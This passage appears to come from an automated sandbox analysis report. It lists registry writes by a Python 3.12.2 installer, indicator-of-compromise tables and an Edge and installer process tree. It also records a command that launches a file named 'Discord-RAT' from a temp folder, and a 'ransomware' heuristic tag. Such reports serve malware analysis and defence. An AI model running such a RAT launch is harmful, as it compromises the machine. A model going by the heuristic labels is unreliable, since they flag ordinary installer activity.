Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C964255D018EF8641A93E14AD3E0B20E\ProductName = "Python 3.12.2 Add to Path (64-bit)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FAC271E7CBA26B4ABC8A34227ED446F\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\99C780495F4E73647A98B30695FD87B7\SourceList\Net\1 = "C:\\ProgramData\\Package Cache\\{94087C99-E4F5-4637-A789-3B6059DF787B}v3.12.2150.0\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pyw\Content Type = "text/x-python"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Python.ArchiveFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.ArchiveFile\DefaultIcon\ = "\"C:\\Windows\\py.exe\",5"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.NoConArchiveFile\shellex\DropHandler	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DD2E131F5C8B3F24587BD3B4CA5928DC\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3FAC271E7CBA26B4ABC8A34227ED446F\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Python.CompiledFile\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\Version = "51120230"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\73A2D790B49EDAF4C8986D4334DBD4A4\ProductName = "Python 3.12.2 Executables (64-bit)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\99C780495F4E73647A98B30695FD87B7\DefaultFeature	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E29C05B0872A334AA169E0FD6A0FFA8\PackageCode = "A9516DDC34B05EF49A1FB8D0B7921D40"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CDE37EDBEA67D5748858B98563130BCF\SourceList\LastUsedSource = "n;1;C:\\ProgramData\\Package Cache\\{BDE73EDC-76AE-475D-8885-9B583631B0FC}v3.12.2150.0\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C964255D018EF8641A93E14AD3E0B20E\AuthorizedLUAApp = "0"	msiexec.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 846663.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
4824	msedge.exe
4824	msedge.exe
4376	msedge.exe
4376	msedge.exe
2352	identity_helper.exe
2352	identity_helper.exe
1412	msedge.exe
1412	msedge.exe
6128	msedge.exe
6128	msedge.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
4536	msedge.exe
2472	msedge.exe
2472	msedge.exe
3408	powershell.exe
3408	powershell.exe
6820	powershell.exe
6820	powershell.exe
5628	powershell.exe
5628	powershell.exe
7376	powershell.exe
7376	powershell.exe
2652	msedge.exe
2652	msedge.exe
3920	msedge.exe
3920	msedge.exe
2320	msedge.exe
2320	msedge.exe
3996	powershell.exe
3996	powershell.exe
6560	powershell.exe
6560	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 40 IoCs

pid	Process
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	5172	vssvc.exe
Token: SeRestorePrivilege	5172	vssvc.exe
Token: SeAuditPrivilege	5172	vssvc.exe
Token: SeShutdownPrivilege	6072	python-3.12.2-amd64.exe
Token: SeIncreaseQuotaPrivilege	6072	python-3.12.2-amd64.exe
Token: SeSecurityPrivilege	3988	msiexec.exe
Token: SeCreateTokenPrivilege	6072	python-3.12.2-amd64.exe
Token: SeAssignPrimaryTokenPrivilege	6072	python-3.12.2-amd64.exe
Token: SeLockMemoryPrivilege	6072	python-3.12.2-amd64.exe
Token: SeIncreaseQuotaPrivilege	6072	python-3.12.2-amd64.exe
Token: SeMachineAccountPrivilege	6072	python-3.12.2-amd64.exe
Token: SeTcbPrivilege	6072	python-3.12.2-amd64.exe
Token: SeSecurityPrivilege	6072	python-3.12.2-amd64.exe
Token: SeTakeOwnershipPrivilege	6072	python-3.12.2-amd64.exe
Token: SeLoadDriverPrivilege	6072	python-3.12.2-amd64.exe
Token: SeSystemProfilePrivilege	6072	python-3.12.2-amd64.exe
Token: SeSystemtimePrivilege	6072	python-3.12.2-amd64.exe
Token: SeProfSingleProcessPrivilege	6072	python-3.12.2-amd64.exe
Token: SeIncBasePriorityPrivilege	6072	python-3.12.2-amd64.exe
Token: SeCreatePagefilePrivilege	6072	python-3.12.2-amd64.exe
Token: SeCreatePermanentPrivilege	6072	python-3.12.2-amd64.exe
Token: SeBackupPrivilege	6072	python-3.12.2-amd64.exe
Token: SeRestorePrivilege	6072	python-3.12.2-amd64.exe
Token: SeShutdownPrivilege	6072	python-3.12.2-amd64.exe
Token: SeDebugPrivilege	6072	python-3.12.2-amd64.exe
Token: SeAuditPrivilege	6072	python-3.12.2-amd64.exe
Token: SeSystemEnvironmentPrivilege	6072	python-3.12.2-amd64.exe
Token: SeChangeNotifyPrivilege	6072	python-3.12.2-amd64.exe
Token: SeRemoteShutdownPrivilege	6072	python-3.12.2-amd64.exe
Token: SeUndockPrivilege	6072	python-3.12.2-amd64.exe
Token: SeSyncAgentPrivilege	6072	python-3.12.2-amd64.exe
Token: SeEnableDelegationPrivilege	6072	python-3.12.2-amd64.exe
Token: SeManageVolumePrivilege	6072	python-3.12.2-amd64.exe
Token: SeImpersonatePrivilege	6072	python-3.12.2-amd64.exe
Token: SeCreateGlobalPrivilege	6072	python-3.12.2-amd64.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe
Token: SeTakeOwnershipPrivilege	3988	msiexec.exe
Token: SeRestorePrivilege	3988	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
5268	python-3.12.2-amd64.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe
4376	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 640	4376	msedge.exe	97
PID 4376 wrote to memory of 640	4376	msedge.exe	97
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4296	4376	msedge.exe	99
PID 4376 wrote to memory of 4824	4376	msedge.exe	98
PID 4376 wrote to memory of 4824	4376	msedge.exe	98
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100
PID 4376 wrote to memory of 4956	4376	msedge.exe	100

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Discord-RAT
1⤵
PID:2008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff99f946f8,0x7fff99f94708,0x7fff99f94718
  2⤵
  PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:1
  2⤵
  PID:1504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1976 /prefetch:1
  2⤵
  PID:3424
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3568 /prefetch:8
  2⤵
  PID:5080
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3568 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5264 /prefetch:1
  2⤵
  PID:1624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
  2⤵
  PID:4200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:2740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5468 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:1412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5388 /prefetch:8
  2⤵
  PID:1400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3916 /prefetch:1
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:1
  2⤵
  PID:2932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:1
  2⤵
  PID:5424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:5412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6220 /prefetch:1
  2⤵
  PID:5512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:5824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5924 /prefetch:8
  2⤵
  PID:5816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6468 /prefetch:8
  2⤵
  PID:5892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6640 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6128
- C:\Users\Admin\Downloads\python-3.12.2-amd64.exe
  "C:\Users\Admin\Downloads\python-3.12.2-amd64.exe"
  2⤵
  - Executes dropped EXE
  PID:2876
- - C:\Windows\Temp\{1C0A6AFF-1237-4E2B-AB0A-3400330CEC32}\.cr\python-3.12.2-amd64.exe
    "C:\Windows\Temp\{1C0A6AFF-1237-4E2B-AB0A-3400330CEC32}\.cr\python-3.12.2-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.12.2-amd64.exe" -burn.filehandle.attached=528 -burn.filehandle.self=544
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:5268
  - - C:\Windows\Temp\{C1540DA0-5F3C-452A-9477-38D0C98D29C4}\.be\python-3.12.2-amd64.exe
      "C:\Windows\Temp\{C1540DA0-5F3C-452A-9477-38D0C98D29C4}\.be\python-3.12.2-amd64.exe" -q -burn.elevated BurnPipe.{C1279815-B6DA-429D-8436-DBFC995F4E4F} {4AD64420-9E3C-4E99-97CC-9741A6F905EF} 5268
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6072
    - - C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe
        
        "C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe" -3.12 -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        5⤵
        Executes dropped EXE
        
        PID:1456
      - C:\Program Files\Python312\python.exe
        
        "C:\Program Files\Python312\python.exe" -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:5628
    - - C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe
        
        "C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe" -3.12 -O -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        5⤵
        Executes dropped EXE
        
        PID:5220
      - C:\Program Files\Python312\python.exe
        
        "C:\Program Files\Python312\python.exe" -O -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
